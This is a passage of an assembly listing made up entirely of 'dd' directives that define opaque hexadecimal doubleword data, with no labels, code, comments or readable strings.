dd 0FBA2979h, 0FB88F54Ch, 6254EC60h, 5F018959h, 0E38BFFC9h
dd 0E6DCE5D2h, 94910049h, 0B52090F9h, 6000FBF5h, 89282978h
dd 0B125675h, 4FC3477Fh, 5C46200h, 0B57C4C36h, 0C2A05700h
dd 0E7D8A181h, 0F0472FE8h, 19002656h, 0E9DB8372h, 6058C9F8h
dd 4A497180h, 643C538Ah
dd 56A987E5h, 45701633h, 3FA50D2h, 0BE937A51h, 7FDCBB0h
dd 2090D8F8h, 56D6446Eh, 0D317A00Eh, 0F003D7Dh, 0EDF0BDF1h
dd 0F9C4006Ah, 784EE651h, 9CE027AAh, 0BBB1A201h, 0C2B81301h
dd 0BD61F1CBh, 1DBDCE8h, 805B93C5h, 0ECFE8FD4h, 3E00B90Ch
dd 0DCB3DFCFh, 0EDAFD3h, 6A01ADDh, 0B8993994h, 95640401h
dd 8F51A8FBh, 38E581E0h, 0FF003ACBh, 21C093CEh, 0D000B078h
dd 51D6FACCh, 0B8539E54h, 0E4F700E2h, 2A2DF267h, 6F00D88Ah
dd 20582138h, 0F02230F5h, 0FBFE00D0h, 9EF1959Ch, 5BF256E2h
dd 434C1B05h, 6840D132h, 0F7EF6BEDh, 59AF0257h, 4213E0A0h
dd 0D9A28848h, 0D1056600h, 76B72BB4h, 4DB6001Fh, 9E9A28CBh
dd 6600071Ah, 59345F8Eh, 23FB39Dh, 0A198FCEDh, 4EE0C431h
dd 630080F8h, 11E18301h, 14470C1h, 0ABD7AEE2h, 0C4A07ED3h
dd 310294F0h, 2BB002A4h, 6DE880FCh, 3A3C85AAh, 0CA04CE42h
dd 80EC40C7h, 8B8D189Eh, 0CC0097F8h, 31AA7B3Eh, 16F012h
dd 0F8B5F521h, 0FCC06CEAh, 300C7EF4h, 0D046C5EDh, 0D84D03BDh
dd 727C386h, 20E2B798h, 0D04C178h, 0F8FD0FCFh, 9C953080h
dd 71BA00A3h, 916D15F5h, 6E00F9FFh, 7BBCD2A0h, 0DA9375h
dd 4845725Eh, 0A09B628h, 0CF00D7B0h, 0B4BF4BC6h, 3034739h
dd 0B8FAE60Dh, 0C09501B7h, 14E5C4C3h, 75A113Eh, 0DAB0F3Ah
dd 0C754602Eh, 7CDDD4Bh, 674928DCh, 27AFA085h, 3D0F74B0h
dd 8EA46Ch, 246AD3Eh, 15E0007Ch, 7BAE2F0Ch, 0B2001629h
dd 2A64D3EAh, 0B775BACh, 0B7A8341Bh, 5994005Dh, 4EDD10h
dd 0C195084Dh, 49F2E862h, 7BA17800h, 7748E261h, 0A62F0066h
dd 851E5569h, 1A037A12h, 0C7DADCA3h, 0D35FD0F2h, 0D3D09D17h
dd 0F6905Ch, 476ED5C6h, 18B2158h, 0D19FE93Bh, 215C0645h
dd 7153D948h, 80C30E5h, 0CF3D431Eh, 6271688Fh, 4066C5A7h
dd 763A966Fh, 2D551744h, 7BD60017h, 0CC129F9Dh, 0BCAD700h
dd 4510C8C6h, 1DC70FC4h, 4FA06E41h, 9CEB19E0h, 0EACD8007h
dd 8B60D918h, 2422A5Ch, 284BEDEh, 0ECA06335h, 0E47CD138h
dd 2B339F0Bh, 0E4858F75h, 1090773Dh, 0B4E8EFh, 0E5B151ECh
dd 6A22453Bh, 19CF4B00h, 0A8AE8FA7h, 8621CE34h, 0FF648D61h
dd 5B1080EBh, 0F28740E0h, 83461290h, 61D200C1h, 0AEED4C92h
dd 25E3D400h, 0D85E678h, 26F61EA1h, 0FD53009Ch, 1AC0BE6Fh
dd 70751726h, 0E2FA980h, 971B695h, 1B59E482h, 96769480h
dd 56183FDEh, 8878E135h, 863A0087h, 0F5A66FA2h, 78006A14h
dd 0E157A9C3h, 0B3BA56h, 21B04849h, 2A7EF14Bh, 0F6DC7C13h
dd 9FCA00ABh, 9205F4E1h, 0F5B05C1Dh, 0FB49DD03h, 0AF77E082h
dd 0BA7800A5h, 1127E825h, 0B13AAD2Ch, 6F0E80DBh, 0D0CD0A5Eh
dd 15790082h, 1057BDB7h, 0DA0ECE88h, 0E03FA9E9h, 8B453CADh
dd 0E318392Dh, 0AE23920Ah, 71350ECDh, 9D13BC80h, 80018B78h
dd 0A13F4967h, 0D5D006F1h, 16D90BF7h, 7700E777h, 59F398DCh
dd 22117307h, 24D12BB9h, 7046BDh, 6D0300B2h, 0A3E8337Bh
dd 16E0CCC6h, 0FC0B8700h, 0B8228FFFh, 115104C3h, 4E6AB063h
dd 6D73A01Dh, 0C174E4EDh, 0F379E262h, 0FC22F6h, 0C52B88D3h
dd 5619082h, 34A6EBB3h, 9F2C9086h, 8EE2BD96h, 0C16F8507h
dd 88E082D4h, 7627208h, 2750F0C0h, 4228E3AEh, 480033CBh
dd 537B7C57h, 0A0DD095Ah, 0C3F5F8h, 0C89C2797h, 0ECC9EDB3h
dd 1C876326h, 0D4BF6840h, 0F1AC3C8Eh, 437EAD9Dh, 0BAC8AAD8h
dd 0F4AEF7C9h, 6F045CA9h, 8BD4A1EBh, 69DC6E80h, 608C6039h
dd 0F471BEF8h, 0D2003092h, 3C6697C9h, 1F5E95F3h, 5AB654h
dd 6574EC72h, 28DEFB64h, 0A22C4C00h, 18D3003h, 52C9753Bh
dd 30F28549h, 0D1005E28h, 0C5A9580Ch, 0D03AFCh, 12E7ED03h
dd 69C4DE94h, 535EC900h, 82BC45D3h, 10F50C9Ch, 7D89F7C0h
dd 0ED47041Eh, 0CA691C3h, 6B70006Ah, 71B385E0h, 0DA001065h
dd 51E2F438h, 1D789179h, 41560944h, 12E57CEDh, 87E0835Bh
dd 0E6CE94Fh, 63441140h, 54704280h, 0C7E4958Ch, 0E3E23800h
dd 90C5941Eh, 90B73CFh, 753E986Ah, 72B4DA00h, 0A800BF7Dh
dd 3955F0E6h, 0F7CAE3h, 54470A34h, 2D12092Bh, 0F3F43E0Fh
dd 0AD65E0C2h, 3CE1F86h, 331736BEh, 35C894FDh, 5B00FBA2h
dd 0CC62255Dh, 0BFFB7D4h, 0A71E05E7h, 0E200F989h, 777E491Ah
dd 61063907h, 7190517Fh, 56BF89h, 0FAF09137h, 6FCC9D30h
dd 21DA7201h, 0A73EE201h, 144306F4h, 0A6D52633h, 7181400h
dd 0C5B410A9h, 30755103h, 0C00DCB62h, 74B957h, 0FE5E99D2h
dd 3879F57Eh, 59C3FD14h, 6E18009Ch, 8DCED081h, 43712EFBh
dd 9F7F8024h, 8ED3F167h, 170AA71Fh, 0DCD6690Ah, 658C3780h
dd 0FAEB32h, 0B2915ECFh, 0E4437B6Ch, 18F8DC30h, 3F07827h
dd 44E65248h, 1DC0D347h, 0F4F18EF6h, 0F138D9C8h, 0EA412h
dd 25815830h, 0FEB40085h, 84499BF2h, 717EC83Dh, 510079F0h
dd 90F99969h, 3E3C757Fh, 530603A9h, 99E0A4E1h, 0D5734000h
dd 80103D68h, 76AE58E6h, 0FADE9B00h, 0E577B6E9h, 0A003C430h
dd 18F8B20Dh, 811E0E0Bh, 2D6074A6h, 0D6B1C459h, 36D1034Ah
dd 8F5C75E2h, 0F6D1805h, 0FEC5ECh, 0D97E852h, 94A0F509h
dd 78F0487Fh, 30AB9248h, 6825D924h, 0C181E855h, 3C27FD91h
dd 0E13D10F9h, 0FAEC0F1Eh, 2900BADBh, 3B702091h, 59C4E9C4h
dd 7459A36Dh, 0C040898Ah, 1BE1909h, 91957268h, 700769BEh
dd 0C0A7F54Eh, 0C4259836h, 3DDC8E39h, 31E88412h, 0C003F82Eh
dd 0AF981F50h, 8D33F4B4h, 0F6097Dh, 1F5B6021h, 120CAFDCh
dd 0A4A8EAE4h, 65000B7Dh, 0A28F5A76h, 4DD664Eh, 15E68228h
dd 9334C0B5h, 0DB30CAF9h, 0C6D5D1EFh, 723F011Ah, 6AE92DC4h
dd 8D0892D4h, 0EAB24C0h, 2B3A021Dh, 44B10357h, 0C1F49EE3h
dd 84208ED0h, 0DE72FB79h, 0E87FA8D0h, 607532E5h, 7060F2CEh
dd 0B899FD30h, 0F1C05800h, 75CE914Dh, 0CC793222h, 0C0800408h
dd 0EAC9B8F5h, 0FCFDDCF9h, 0AB68EB60h, 64818F15h, 60135103h
dd 7D64EA99h, 70064391h, 0EA18608Ah, 98380061h, 0D95E6C8h
dd 0D354E07Dh, 4099BBCh, 0FA2E15h, 0DE363824h, 1771008Bh
dd 5FCDEFA1h, 0B50008D2h, 0E5EB6201h, 764E1B51h, 787200B0h
dd 0F78AB1B2h, 3F004DFDh, 0AD373629h, 0D199E3h, 0D5867D5Bh
dd 8FB61B67h, 2FD70900h, 910FA1D8h, 16F255h, 9DD0F8CEh
dd 6C6E294Fh, 7CE20AC0h, 0D5D74Eh, 0EBA0DD5Fh, 4A34737Bh
dd 0B7EE2903h, 0E0C68068h, 730349D3h, 90EEA7h, 4344F911h
dd 5C0ED0E8h, 5B09CC07h, 0EE3FA801h, 6B498332h, 0BF291195h
dd 0D7A11E9h, 0F1085721h, 284B949Ah, 5AD2AE08h, 809D7308h
dd 0F6EF3AACh, 29C08744h, 0CF17A1F4h, 0EEE895h, 3C2BECCEh
dd 831C9D1h, 9A050607h, 0F880CDDFh, 0B62CDDh, 0B25038FEh
dd 0AB600F42h, 590C1D18h, 0F0C910h, 0DB64D471h, 0E650948Ch
dd 65CBA007h, 8290BEC0h, 4C7B639Ah, 900151BCh, 5F6B98E7h
dd 3873D8D0h, 0B1287F00h, 0FF075362h, 9E760079h, 0A046030Ah
dd 7C000530h, 0F55ACDA6h, 75FADFC1h, 9B95004Bh, 2324DE82h
dd 19E60D6Ch, 55843Fh, 9C04717Dh, 0F485B51Bh, 610500CAh
dd 0C409321Ah, 2F008850h, 8FDB900Ch, 35C6D86h, 3C2EA7EBh
dd 80B7B558h, 5DFC07A4h, 6DD13900h, 0E11C70E9h, 0DB7F78h
dd 646FD02Fh, 512EB00Eh, 11FE27Bh, 2C06D8Eh, 0FCCB4489h
dd 2C9D3E63h, 0B48C3F0Fh
dd 0C35071Ch, 0A0D837F5h, 0A7044439h, 0A34FD000h, 944B6E24h
dd 0C5AC0192h, 87F83175h, 0FB8080CAh, 1356F210h, 0C76100CEh
dd 835B14B9h, 49389E37h, 0A92A01D3h, 0A70875E3h, 0E4EB71E8h
dd 0B56C004Fh, 4162AB5Ch, 0F006B210h, 426D13D5h, 0A3EC0078h
dd 516C7DC9h, 0BC002377h, 0CC5AF212h, 5C0CB0h, 6830E0A8h
dd 0E6C5DDA1h, 0E1B7FB00h, 7993A988h, 0CEEF007Ah, 0CA3995F7h
dd 0C80A20C0h, 0F4EB763Ah, 0C6A61700h, 17BA80Fh, 2AC2A7BEh
dd 0D0476DC5h, 0BC009AC0h, 378C2514h, 85F17h, 34F0B95Eh
dd 7132FE87h, 2C003AF8h, 221AF851h, 8A43DAh, 2D184A6h
dd 39EB4677h, 8CB29A00h, 25546E16h, 35370099h, 921E26CCh
dd 30005DF9h, 0E67F6AC9h, 245C0Dh, 6657C65Fh, 79A8CB78h
dd 0A6F63518h, 83DF09h, 28339382h, 133E1BF0h, 232CA300h
dd 857F88BFh, 7C61000Fh, 7B6BC21Ch, 0B703C079h, 8FE875B4h
dd 5D27C07Ah, 0CE600DDh, 0D0E29153h, 0DB0CBC84h, 10B97C63h
dd 0A4270976h, 900E6AE5h, 9F5CBFA3h, 202149E1h, 1E294094h
dd 0B6038C9Eh, 0E806A57Dh, 686DBDh, 203D1B19h, 6450397Ah
dd 8E536006h, 2EBA9DD5h, 934BA8h, 73E31D9Bh, 4C76AB96h
dd 508B5A00h, 0E47D955Fh, 3C1F0F9Ah, 0BC474215h, 644D5382h
dd 0FC983EE9h, 300A086h, 935E3ABh, 1E53138h, 0FB527AC2h
dd 248CD0D5h, 6907531Ch, 79627E2Fh, 0CCE121D0h, 0EDCA07A2h
dd 804B8ECFh, 93BADC05h, 0DBC2AA00h, 89C847BBh, 24774Ch
dd 2D99EB53h, 0F0F31882h, 2C94D82Eh, 2CC1BF00h, 0A9F6Fh
dd 0B63B606Dh, 6C93E832h, 9E390E60h, 2445AFh, 0BE03CCDFh
dd 694EBAA0h, 2E791F00h, 0D2B0D9D0h, 0F8260078h, 0A2234A8Bh
dd 0C500855Ch, 0FF4BA52Bh, 2DEA61Ah, 3AC9531Ch, 1BC02418h
dd 0E40014D1h, 9239199Ch, 0BF50E1h, 1C32C4C0h, 4771DA8Ah
dd 0A4774F00h, 64DF478h, 519000Ah, 0E72EF6D8h, 7B009B17h
dd 2D59E282h, 1D45395h, 4005D021h, 305D3507h, 97001BFCh
dd 4E69371Fh, 3C3E1822h, 4B812755h, 17132347h, 8308BAAFh
dd 87B3566Ah, 3C888C54h, 23892C6h, 922B5AC3h, 0D58E9536h
dd 44F3C2BCh, 7440FD8Fh, 800FE2Dh, 2B425267h, 0ACD6AFh
dd 2C959E63h, 1E12749Ch, 0F2357302h, 606EF3E0h, 1335F7Ch
dd 9D6461D2h, 4026A3B2h, 1A8FDFC4h, 0C9CBFBA0h, 0D217A90Fh
dd 0F291A1A2h, 0EED8B02Dh, 9824000Fh, 5FDEF05Dh, 4E0019D5h
dd 0B8C8879Dh, 0A96E26h, 17AF65EAh, 0F522642Dh, 8718CB14h
dd 0D1A11E88h, 3E2A7C02h, 0DB42EDh, 0A800DE0h, 93E7009Bh
dd 0ABFC8CB3h, 502254Fh, 0FD8FE55h, 0C09C683Ah, 249C7D78h
dd 33CCE30h, 79F901F0h, 89A306F0h, 0ECB99226h, 2CFAB80h
dd 1F05E21Fh, 83408433h, 9C4EBF7Dh, 15C8BDA3h, 3F1C45E8h
dd 8F0408C6h, 30C2CB4Fh, 0EB21C18Ah, 0B03B5F70h, 0B7944890h
dd 0D5446600h, 0D81E2FB1h, 0EF2B9500h, 536467BDh, 42850999h
dd 0C787DB91h, 0EE9F1093h, 0BD72A1A6h, 5723A8C0h, 30CB06FFh
dd 0B1090D6h, 9878D3E2h, 8CC5221Dh, 0B2BE3C40h, 7576EB0h
dd 0BDE22E13h, 438DD0DCh, 8F0082C7h, 7E47FA36h, 76F2771h
dd 0F528ACE7h, 0C11D6379h, 0E0EA4281h, 10E0368h, 0DF86992Eh
dd 0CA012B5Ch, 14C7716Ch, 7FC1A444h, 0D6FC1EF2h, 38EE008Ch
dd 5DBF7552h, 0CF00E8BDh, 0ED35C118h, 874083h, 812B0A76h
dd 1E29708Dh, 0E8641902h, 605B0334h, 77BF251h, 0FC9B8580h
dd 7061E7A4h, 9E0A8A08h, 0ED799107h, 54B0D8ABh, 163273h
dd 18EF2FC7h, 3D69C433h, 81039138h, 47197A2Eh, 0D2FCC849h
dd 0FAB700CCh, 0C92FBA37h, 0B600C218h, 0B9BF0A2Bh, 0B544FEh
dd 40BF73Fh, 5615463Ah, 0A473D0Eh, 411E43A9h, 4328B095h
dd 4FD80097h, 7ACEBAF1h, 11071B22h, 0CA21EA40h, 152810C1h
dd 23DBD3h, 0D37D3210h, 0BC5317C2h, 0AE5834E0h, 734E8390h
dd 880BB0A7h, 0B96C005Dh, 7DFF5295h, 9A01CD09h, 40B2896Fh
dd 0E4EC2D4Fh, 77A54828h, 2E5D007Ch, 0D960D4AFh, 6D3B7803h
dd 78272CF3h, 0E542003Dh, 2192431Eh, 81A601BEh, 8974B7CFh
dd 7DF6C469h, 2F1F3800h, 0B6647E45h, 58820052h, 51FC95B2h
dd 1500BC4Fh, 0A1981BE4h, 789F74h, 0CB599CCAh, 0BE13DE35h
dd 2504F67Ch, 1267ED32h, 0A03016A1h, 0FE902Ch, 157FDF70h
dd 564B973Fh, 64F49200h, 8DE2D55Bh, 0A58400EAh, 469F5449h
dd 7F17303Ch, 0C60065C8h, 0E241B8F4h, 55870061h, 8CEC25B9h
dd 0B312C3BEh, 680085ADh, 33B588ACh, 670500F9h, 0A3825DC9h
dd 69F6E858h, 0DFDA851Fh, 0D82594C0h, 7DB0730Eh, 0F48675C9h
dd 65512680h, 305A1967h, 0BE34D003h, 7B71C101h, 87AF4F49h
dd 0E2AEC4h, 0BFE32927h, 1ADAEA0Ah, 30344207h, 4C0005C1h
dd 398F0640h, 6D9D0338h, 5BA10EE1h, 0D9D1C00h, 5207F841h
dd 885A6B46h, 4A559790h, 0B1730Eh, 49F3C083h, 0E5A7C34Eh
dd 0C15B5A0Fh, 0C5360648h, 0BB0F00E8h, 0CC73B93Fh, 0EE18B00Ah
dd 0E61007CDh, 77FB005Dh, 0B713A9A6h, 0F0C72A8Fh, 0C57099D6h
dd 3D19D87Eh, 693F8006h, 0DCE8CC80h, 9809CBEAh, 86D66701h
dd 5C260F31h, 85708840h, 0A0AE0055h, 226127C3h, 583E4F48h
dd 9F57802Eh, 0D26EB138h, 810B00A6h, 8EEC2246h, 19734B86h
dd 0F5007CFAh, 7D4DB9Ah, 2B61A18h, 3115A9A3h, 75C0A625h
dd 0AC01C741h, 580F23CCh, 3BF45ABEh, 1A66386Fh, 240DB400h
dd 676BB3E6h, 526C614h, 0A19600ACh, 84990E27h, 6D321C10h
dd 0BC204049h, 0D71AEA5Fh, 0E3B59F00h, 0F0D84C45h, 67ADB07Dh
dd 80C911C2h, 4A5EFEF1h, 7106ED80h, 981C0008h, 16405AB9h
dd 7B5017A1h, 560AEBD0h, 98D683F9h, 0C8B33180h, 14ECA910h
dd 0C6345C6Ch, 0C0E9241Ch, 0F29CEBE1h, 2307FF4Fh, 0BCEF5D2Bh
dd 3FF74A50h, 7190A5h, 2D1B927h, 740F44EBh, 6B5F80Eh, 15C880FFh
dd 2CCADBh, 0E1BD050Dh, 350A0F8Ch, 0D8006098h, 3FB19A6Eh
dd 0EC193Eh, 2C697986h, 0C0B88BBBh, 0DFA0C81Dh, 0A8374D00h
dd 0A28467h, 1A4EB98Eh, 45895E18h, 88F5E6C0h, 0EB7791h
dd 0D6C724C4h, 204DE3FDh, 9794B00h, 0F0867A72h, 0F888003Ch
dd 0D49DB5B6h, 6D3CF3FAh, 8F45000Eh, 5DA7DE92h, 107000CFh
dd 0C652A50h, 0E57FE6B9h, 66687A03h, 0C017C199h, 9111A51h
dd 0D98E6CFBh, 8291F300h, 0B9E60E65h, 3DEA5500h, 0DE52FDA1h
dd 0D06F00C1h, 96C37B87h, 0C8059372h, 885725D1h, 0BD5A5880h
dd 0F142008Bh, 80F531A7h, 5E6A0A2h, 9A736872h, 71309300h
dd 74AC63FFh, 0A09C6FCEh, 9591B9A0h, 2E1DCDE5h, 0FB8376A6h
dd 208D3E88h, 83009F29h, 2E02BB1Ah, 0E472C8h, 37A2FE89h
dd 6B92AA5Fh, 0F00EA7F4h, 0A08C6C0Eh, 1DA4243Bh, 0DF600D5h
dd 3BCD4C2h, 88004419h, 2FC6FD9h, 0A8493Ah, 577F82C4h
dd 81CC0EEDh, 3E0DAA01h, 302AFA14h, 77858060h, 11D00071h
dd 1F9980B8h, 3113AFC4h, 0B120392h, 0A4E15800h, 7EF1CE7h
dd 0F6B76C3Bh, 2953806Bh, 6A00A781h, 0D8B4C2DDh, 0A0BDE1h
dd 0BB12A852h, 6C143FB6h, 0B20B4900h, 53D7FEC2h, 7BFF779Ah
dd 8590F7Ah, 96A10FCEh, 9D4B31CCh, 6940EF28h, 0A4E5C382h
dd 0FC714AC0h, 0CFB300EAh, 0D335FA20h, 621D0002h, 0F9D4C126h
dd 380016EBh, 0F18CE969h, 39E554h, 0DBB377AEh, 70BF4386h
dd 0B2468403h, 80C7992Dh, 3FD424h, 0EFA937FCh, 46A187F4h
dd 9A027700h
dd 0B03C9DECh, 307B004Fh, 0CEDAA0D6h, 1E00725Bh, 0FEC9F639h
dd 0FA7FB2h, 0B584EE8Dh, 0C17CE679h, 68A73C00h, 0D3E8DB1Ch
dd 708B0C45h, 5D106C43h, 535E7D00h, 2325A37h, 6BC100B0h
dd 62041EBCh, 39008AE1h, 8688D20Dh, 7E3842h, 2F6C5BBFh
dd 999330B1h, 0DCACF500h, 19E85FF0h, 469E339Dh, 5AB06928h
dd 0D800BE0Ch, 0E86A0EE0h, 2623B826h, 38B0562Ah, 0C7B3500h
dd 8671BE18h, 0C33FAD00h, 0C91382F7h, 983950B4h, 7ED83B04h
dd 0D243CC80h, 6D35876h, 2BB2839h, 95CFCD9Ch, 1876E8B9h
dd 648209F1h, 8380D546h, 901D97B1h, 33D4BE16h, 65015700h
dd 5A8687h, 96C135F0h, 5C126FE3h, 3F5C6674h, 6DC65038h
dd 0B7C3C0BFh, 0C0800031h, 49A419A0h, 9206709Fh, 4FC1AABDh
dd 4CD50FA4h, 5540223Fh, 54B01536h, 0A61A6700h, 0B974696Ah
dd 1977564h, 0DE8E4DB7h, 609651ECh, 0CA073732h, 7F3A17DBh
dd 0D03BE640h, 95270044h, 4A9A4F8h, 0C100474Eh, 0B87C2D30h
dd 0D554E8h, 898CF080h, 3450780Fh, 2BEA7600h, 344746Ch
dd 72C898DAh, 83B500DFh, 9C4E679Ah, 6B004996h, 4A292EFh
dd 0D72B52h, 4D4CF21Eh, 0FB6242ADh, 0FFDAF13Eh, 29101C03h
dd 489AAE2Fh, 0C064AE0h, 282A4273h, 3D0032F2h, 7B3352BFh
dd 5D7581h, 0E4F9D583h, 0A9040AD4h, 8BF9400h, 63D0BDD1h
dd 38E70C6h, 0AFAA15C2h, 99F8A67Eh, 0F009B17h, 0BDA30C21h
dd 0E6E495C6h, 54B044h, 0DF16DD49h, 2999B992h, 0F4BA78C0h
dd 3D95F170h, 0FD0091F9h, 0CE0775D0h, 48046E45h, 3A13368Eh
dd 0DD960081h, 51EFC9E8h, 0CFF0D7D2h, 44AC0097h, 10BC18FBh
dd 4FFE21D8h, 6E598C02h, 847F547Eh, 4780FAACh, 1C17E24Ah
dd 9D865B05h, 53033BA0h, 631D527Dh, 1ECAFE98h, 9A972F00h
dd 0F9684D5Fh, 6469028Ah, 4AC2BCB8h, 0B0CE2840h, 3A38BF75h
dd 0F88000DDh, 775087E1h, 0AB353C56h, 4CD80101h, 45285B1Dh
dd 4BA180F5h, 2674E031h, 56B11300h, 0F98AD996h, 0E9E703C4h
dd 9FDC85FDh, 2EDA0800h, 4CBAC272h, 28AF01ACh, 1937E9E5h
dd 34EFE4E6h, 2847D0B7h, 7AE4B516h, 11CB1F38h, 0ECE30036h
dd 0EDD7F53Bh, 0DB0CC6B0h, 8DF4621h, 2F1800E2h, 2CF89A7Fh
dd 0F40096CBh, 19D8030h, 14A55B2Ah, 0F8FA1B25h, 8F177A00h
dd 80E303A3h, 93CB3Dh, 2C91D2FDh, 89BA04h, 0C42E6A6Eh
dd 14A3A578h, 0C9B4CD50h, 655FD10Fh, 1C176053h, 0AF79D5h
dd 5B59CBCh, 258ADC0Ch, 6C00D890h, 4D127A7Ch, 0F75018h
dd 0F3731E1Dh, 0FB61A074h, 10E78B00h, 0FEC09A4Ch, 0E4E220h
dd 0F56EA76Ch, 648CF7DAh, 1006490h, 3AF04AEEh, 0B36FD0h
dd 0ADF4703Fh, 0DE2AE3A9h, 4EBBC51Dh, 80EE1C24h, 0DC1B9017h
dd 1DCB1215h, 0E8144579h, 3EE809Dh, 9700DD99h, 0B3DC9B81h
dd 95B0FF9h, 519BBE1h, 7D332CA0h, 2A1F523Eh, 0E080F6A5h
dd 0D48E7496h, 31C93750h, 5C337390h, 0D1936CB0h, 6A0B4D00h
dd 0BBA7CEC4h, 4B8C0057h, 58771694h, 7D00206Eh, 3978C89Bh
dd 7E7BC50Ah, 0E88FE72Ah, 59802D3Bh, 62215F12h, 80600500h
dd 7C3E0A61h, 251E303Dh, 855B1208h, 28EE9E00h, 30E6C26Fh
dd 0FFBB0057h, 0FB0E8225h, 1F073134h, 891198B5h, 429CC780h
dd 0BC6512DEh, 0B7B000FEh, 0D29449CAh, 9A547F00h, 3D19CBAh
dd 0E720021h, 43770FF6h, 6D0014FBh, 68494758h, 0DC2242h
dd 3879934Ch, 0C3E1B99h, 80CE3A3Ah, 773CEF56h, 0EB3AEBEh
dd 38B91C1h, 0F6DD2AE0h, 0B11C09EEh, 0E400E192h, 0AD05BC88h
dd 0FF7F0089h, 67B4063Ah, 3C000915h, 94FD288Ah, 89E39Eh
dd 0FCA8741Bh, 36EDB762h, 2819C700h, 0E612FF3Fh, 5A5C00D7h
dd 0C67DC916h, 8F00D941h, 55EFCB89h, 3D8D6557h, 110078A0h
dd 0B158E8D0h, 73741BF3h, 0CEEBCC01h, 2E69A2D3h, 0EA562FF8h
dd 50390022h, 83302067h, 94007134h, 0AAC2BA6Eh, 33C838h
dd 3F7B46EBh, 0B46F41EFh, 1A1B0504h, 54906321h, 408EC7h
dd 0EECA6BDEh, 0FFB99ECDh, 0AE860203h, 9383EA22h, 0CCB5E80Fh
dd 7A374E5h, 0BB89C3CEh, 0E093A0FCh, 0B60007A1h, 0A204ECD5h
dd 988154F4h, 0AE93D8Ch, 1504ADBAh, 0D3683BB9h, 35D1D1F0h
dd 0B6808767h, 0C02788A0h, 83C48EFEh, 0B8655Ch, 222D6428h
dd 0D5BAE36Ah, 72E9CE00h, 5ABCADD6h, 1F2E00D7h, 0B0CBB91Dh
dd 0B83C4BAFh, 0F2F106C1h, 40A12Ah, 0E3D4DAE9h, 0D634D868h
dd 36439401h, 0A8CA9F83h, 79DBF0h, 50ECD742h, 3646185h
dd 336A1A00h, 5A80C546h, 75A40356h, 579BA0Ch, 7357C98h
dd 93CD6B3Ah, 2E00A5B3h, 0EAD8801Bh, 0F8327F15h, 0FDACA868h
dd 0C9BA6012h, 90872651h, 0C1808560h, 50FE194Ch, 50431011h
dd 11F1C79h, 75ECD860h, 0F010C909h, 26002B84h, 0A9EB5D89h
dd 0F176A2h, 5EECBE81h, 0AD6694CCh, 446D7400h, 0A62DD59Dh
dd 0CBC01E27h, 0C4D74075h, 4904A058h, 34218700h, 2A8F52DFh
dd 0E0C80070h, 7C9D6F2Fh, 9A075F02h, 0BEADDD10h, 4DA23E10h
dd 428E6CBh, 4B7EC567h, 0B4FF8071h, 0A50383B7h, 0F26D631Eh
dd 35E6C0C4h, 82E50EF3h, 0B9EB75CDh, 5942001Fh, 94C01A18h
dd 0CC01772Ah, 0B521449Fh, 4ED02D97h, 163A04F1h, 809B5549h
dd 0B69052C1h, 34CEA00h, 0B583C2CFh, 0D11200D4h, 698D7C77h
dd 6E1F41A6h, 0BD7BC814h, 0AC48F6h, 68578AFBh, 5C37FCh
dd 6F25E643h, 6334F736h, 1B66A0Eh, 2DA14051h, 94B8DDh
dd 0E9C3DE2Eh, 5A9E56E6h, 5901D479h, 0CE3606B3h, 0E8307AB1h
dd 18DFFC1Bh, 3660471Eh, 59003E79h, 14A41631h, 3B8CAFh
dd 0F46B1A69h, 36043527h, 0E90B5A7Ch, 0A26862DCh, 0DE223Ch
dd 0BE78E3FEh, 0EC567A28h, 0E42DEE00h, 0D44636D9h, 306CB0E2h
dd 0ABDC18C2h, 3000DC24h, 8CC23F0h, 1909FEDAh, 28462AFCh
dd 1FD0C4B9h, 54A0E501h, 2C90BD31h, 0B45424h, 8CB0877Dh
dd 551D5F51h, 8ED05Ch, 986D4435h, 1EE3DDDh, 0EB26FA99h
dd 72D90DB1h, 0B81D0570h, 0C40151E6h, 8519CE20h, 80EDE0h
dd 74B96E26h, 0D02236A4h, 0E0FA3400h, 0E4013D16h, 706F0019h
dd 7812F311h, 1C004C40h, 1B4D2975h, 0BFE2D8Eh, 589C5F1Ah
dd 0C618AE80h, 0E33AF73Eh, 0D6EC0019h, 902D5EEDh, 0C11A9049h
dd 85F7948h, 6A96CCD2h, 8D000772h, 3E984A74h, 0FB86EBh
dd 5027855Dh, 5841E5AFh, 0E6007FFEh, 0C5338CEFh, 3C178A89h
dd 7E89FDE0h, 0DC0551FAh, 0A148C0B3h, 26751F3Bh, 5FF1500h
dd 0BE7F71DCh, 0F2D50314h, 0FCD71ED6h, 9FD907B0h, 0B1426E00h
dd 0F80C602Eh, 2DBB3977h, 0FADAE00h, 9227D504h, 639C4F00h
dd 578059A0h, 78510088h, 0AFC84B62h, 1C904C2Fh, 7C873C14h
dd 900376D0h, 0D48D041Ah, 0D8D7A166h, 417A4C42h, 0F6822694h
dd 2B641975h, 0F0B71940h, 0F5ACBA00h, 0DA538AD5h, 27F100BBh
dd 0F2421F96h, 6700B8C0h, 3A707180h, 24921BC9h, 0BCE3B2h
dd 6D90BCD2h, 53006845h, 0A90A4EF2h, 0C7E7E4h, 0BDEB0B32h
dd 7BCBD6F0h, 5B82AE00h, 479AC5D4h, 0A2E200EAh, 4D766F9Fh
dd 0B500D301h, 445CCA86h, 163D93E9h, 4342B159h, 61DC3E14h
dd 0A903D2A0h, 1E91C600h, 0C4107212h, 34A81BF0h, 0DE00B24Dh
dd 3DE7B34Bh, 3892662Ch, 4180384Ah, 3652A308h, 0B90059ECh
dd 6D62EE47h, 5F9364h, 0D7722637h, 0F21EEF6Fh, 13CED00h
dd 0F4270452h, 62D5006Ah, 56FCD73h, 1672D191h, 0E9D24000h
dd 1CCEBF81h, 4B61867h
dd 0B1E610C4h, 95763A07h, 4C90AAD7h, 26122128h, 1734058Fh
dd 0E43C000Ch, 0A0DA5038h, 3B195700h, 0D3658285h, 33353E0Eh
dd 80392180h, 4C1E5E51h, 0FBC73702h, 0E36FE1B4h, 0D912A834h
dd 0A380012Dh, 8D31557Ah, 0D7B6F84Bh, 8008F03Bh, 8ED9117Fh
dd 28D33747h, 3A47DEAh, 0FF8CFCDEh, 2E90256Ah, 764D45A5h
dd 0DCD11854h, 0A0399h, 3FB58210h, 3755A351h, 69B0C900h
dd 50D944B8h, 170300F7h, 0D0138DB1h, 7800776Fh, 0F5C00BE8h
dd 1F53A3h, 0A85E03E0h, 0FC66C171h, 1020D600h, 43568E19h
dd 67820074h, 5A3F6C98h, 0D0007C1Dh, 7218349Fh, 36163F1h
